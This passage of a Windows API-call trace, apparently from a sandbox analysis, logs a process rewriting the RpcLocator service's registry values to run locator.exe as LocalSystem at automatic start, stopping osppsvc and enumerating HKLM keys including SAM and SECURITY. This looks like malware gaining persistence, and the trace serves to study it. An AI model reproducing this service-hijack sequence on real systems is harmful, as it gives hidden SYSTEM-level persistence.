out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.938] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.938] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.938] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.938] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.938] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.938] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.938] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.939] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.939] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.939] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.939] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.939] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.939] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.939] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.939] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0228.939] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0228.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0228.939] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0228.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0228.940] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.940] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.940] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.940] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.940] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.940] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.940] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.940] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.940] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.940] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.940] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.940] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.940] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.940] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.941] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.941] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0228.941] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0228.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0228.941] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0228.941] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.941] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.941] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.941] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.941] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.941] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.941] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.942] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.942] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.942] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.942] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.942] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.942] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.942] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.942] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.942] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0228.942] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\locator.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\locator.exe") returned 0x0 [0228.943] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\locator.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\system32\\locator.exe" [0228.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0228.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0228.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0228.943] LocalFree (hMem=0x7e4b18) returned 0x0 [0228.943] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\locator.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\locator.exe") returned 0x0 [0228.943] OpenServiceW (hSCManager=0x803918, lpServiceName="RpcLocator", dwDesiredAccess=0x2) returned 0x803990 [0228.943] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0228.944] CloseServiceHandle (hSCObject=0x803990) returned 1 [0228.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0228.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0228.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0228.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0228.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0228.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.945] RegCloseKey (hKey=0xc4) returned 0x0 [0228.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0228.945] RegCloseKey (hKey=0x148) returned 0x0 [0228.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0228.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0228.945] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5967c5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xec5967c5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0228.945] CreateFileW (lpFileName="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0228.945] GetLastError () returned 0x20 [0228.945] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0228.946] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0228.946] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0228.946] OpenServiceW (hSCManager=0x803918, lpServiceName="osppsvc", dwDesiredAccess=0x20) returned 0x8038a0 [0228.947] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0228.947] GetLastError () returned 0x426 [0228.947] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0228.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0228.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0228.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0228.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0228.947] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0228.947] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0228.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0228.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0228.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.948] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0228.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0228.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.948] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0228.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0228.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.948] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0228.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0228.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.949] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0228.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0228.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.949] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0228.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0228.949] 